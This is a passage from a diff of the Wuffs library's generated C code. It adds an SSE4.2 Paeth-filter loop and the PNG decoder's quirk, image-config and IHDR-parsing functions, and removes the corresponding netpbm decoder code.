wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_netpbm__decoder* +-wuffs_netpbm__decoder__alloc(void) { +- wuffs_netpbm__decoder* x = +- (wuffs_netpbm__decoder*)(calloc(sizeof(wuffs_netpbm__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_netpbm__decoder__initialize( +- x, sizeof(wuffs_netpbm__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_netpbm__decoder(void) { +- return sizeof(wuffs_netpbm__decoder); ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ---------------- Function Implementations +- +-// -------- func netpbm.decoder.get_quirk ++// -------- func png.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__get_quirk( +- const wuffs_netpbm__decoder* self, ++wuffs_png__decoder__get_quirk( ++ const wuffs_png__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -49804,15 +62628,18 @@ wuffs_netpbm__decoder__get_quirk( + return 0; + } + ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } + return 0u; + } + +-// -------- func netpbm.decoder.set_quirk ++// -------- func png.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__set_quirk( +- wuffs_netpbm__decoder* self, ++wuffs_png__decoder__set_quirk( ++ wuffs_png__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -49825,15 +62652,20 @@ wuffs_netpbm__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, a_key, a_value); ++ return wuffs_base__make_status(NULL); ++ } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func netpbm.decoder.decode_image_config ++// -------- func png.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_image_config( +- wuffs_netpbm__decoder* self, ++wuffs_png__decoder__decode_image_config( ++ wuffs_png__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { +@@ -49859,53 +62691,364 @@ wuffs_netpbm__decoder__decode_image_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func png.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_image_config( ++ wuffs_png__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint64_t v_magic = 0; ++ uint64_t v_mark = 0; ++ uint32_t v_checksum_have = 0; ++ uint32_t v_checksum_want = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ if (coro_susp_point) { ++ v_checksum_have = self->private_data.s_do_decode_image_config.v_checksum_have; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if ( ! self->private_impl.f_seen_ihdr) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_0 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 56) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_magic = t_0; ++ } ++ if (v_magic != 727905341920923785u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_1 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 56) { ++ t_1 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_magic = t_1; ++ } ++ if (v_magic != 5927942488114331648u) { ++ if (v_magic == 5278895250759221248u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_cgbi_extension); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_chunk_type_array[0u] = 73u; ++ self->private_impl.f_chunk_type_array[1u] = 72u; ++ self->private_impl.f_chunk_type_array[2u] = 68u; ++ self->private_impl.f_chunk_type_array[3u] = 82u; ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_png__decoder__decode_ihdr(self, a_src); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_checksum_want = t_3; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_seen_ihdr = true; ++ } else if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } + while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ continue; ++ } ++ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); ++ if (self->private_impl.f_chunk_type == 1413563465u) { ++ if ( ! self->private_impl.f_seen_actl || self->private_impl.f_seen_fctl) { ++ break; ++ } ++ self->private_impl.f_seen_idat = true; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ if (self->private_impl.f_seen_idat && self->private_impl.f_seen_fctl) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ iop_a_src += 8u; ++ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { ++ self->private_impl.f_chunk_type_array[0u] = ((uint8_t)((self->private_impl.f_chunk_type >> 0u))); ++ self->private_impl.f_chunk_type_array[1u] = ((uint8_t)((self->private_impl.f_chunk_type >> 8u))); ++ self->private_impl.f_chunk_type_array[2u] = ((uint8_t)((self->private_impl.f_chunk_type >> 16u))); ++ self->private_impl.f_chunk_type_array[3u] = ((uint8_t)((self->private_impl.f_chunk_type >> 24u))); ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ } ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_4 = wuffs_png__decoder__decode_other_chunk(self, a_src, false); ++ v_status = t_4; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ } ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } + { +- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 24) { ++ t_5 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_checksum_want = t_5; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u) && (v_checksum_have != v_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); + goto exit; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } ++ if ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte) { ++ status = wuffs_base__make_status(wuffs_png__error__missing_palette); ++ goto exit; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_first_config_io_position = self->private_impl.f_frame_config_io_position; ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_dst_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_first_config_io_position, ++ ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns)); ++ } ++ if ( ! self->private_impl.f_seen_actl) { ++ self->private_impl.f_num_animation_frames_value = 1u; ++ self->private_impl.f_first_rect_x0 = 0u; ++ self->private_impl.f_first_rect_y0 = 0u; ++ self->private_impl.f_first_rect_x1 = self->private_impl.f_width; ++ self->private_impl.f_first_rect_y1 = self->private_impl.f_height; ++ self->private_impl.f_first_duration = 0u; ++ self->private_impl.f_first_disposal = 0u; ++ self->private_impl.f_first_overwrite_instead_of_blend = false; ++ } ++ self->private_impl.f_call_sequence = 32u; + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_do_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_checksum_have = v_checksum_have; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func netpbm.decoder.do_decode_image_config ++// -------- func png.decoder.decode_ihdr + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_image_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__image_config* a_dst, ++wuffs_png__decoder__decode_ihdr( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_n = 0; ++ uint32_t v_a32 = 0; ++ uint8_t v_a8 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -49918,348 +63061,343 @@ wuffs_netpbm__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_ihdr; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_ihdr.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_ihdr.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); ++ if (num_bits_0 == 24) { ++ t_0 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)); ++ } ++ } ++ v_a32 = t_0; ++ } ++ if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } else if (v_a32 > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); + goto exit; + } ++ self->private_impl.f_width = v_a32; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint32_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_ihdr.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_ihdr.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); ++ if (num_bits_1 == 24) { ++ t_1 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)); ++ } ++ } ++ v_a32 = t_1; ++ } ++ if ((v_a32 == 0u) || (v_a32 > 2147483647u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } else if (v_a32 > 16777215u) { ++ status = wuffs_base__make_status(wuffs_base__error__unsupported_image_dimension); ++ goto exit; ++ } ++ self->private_impl.f_height = v_a32; ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_0 = *iop_a_src++; +- v_c = t_0; ++ uint8_t t_2 = *iop_a_src++; ++ v_a8 = t_2; + } +- if (v_c != 80u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ if (v_a8 > 16u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); + goto exit; + } ++ self->private_impl.f_depth = v_a8; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_1 = *iop_a_src++; +- v_c = t_1; ++ uint8_t t_3 = *iop_a_src++; ++ v_a8 = t_3; + } +- if ((v_c < 49u) || (55u < v_c)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); +- goto exit; +- } else if (v_c == 53u) { +- self->private_impl.f_pixfmt = 536870920u; +- } else if (v_c == 54u) { +- self->private_impl.f_pixfmt = 2684356744u; +- } else { +- status = wuffs_base__make_status(wuffs_netpbm__error__unsupported_netpbm_file); ++ if ((v_a8 == 1u) || (v_a8 == 5u) || (v_a8 > 6u)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); + goto exit; + } ++ self->private_impl.f_color_type = v_a8; + { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); + if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { + status = wuffs_base__make_status(wuffs_base__suspension__short_read); + goto suspend; + } +- uint8_t t_2 = *iop_a_src++; +- v_c = t_2; ++ uint8_t t_4 = *iop_a_src++; ++ v_a8 = t_4; + } +- if (v_c != 10u) { +- status = wuffs_base__make_status(wuffs_netpbm__error__bad_header); ++ if (v_a8 != 0u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_png_compression_method); + goto exit; + } +- while (true) { +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- if 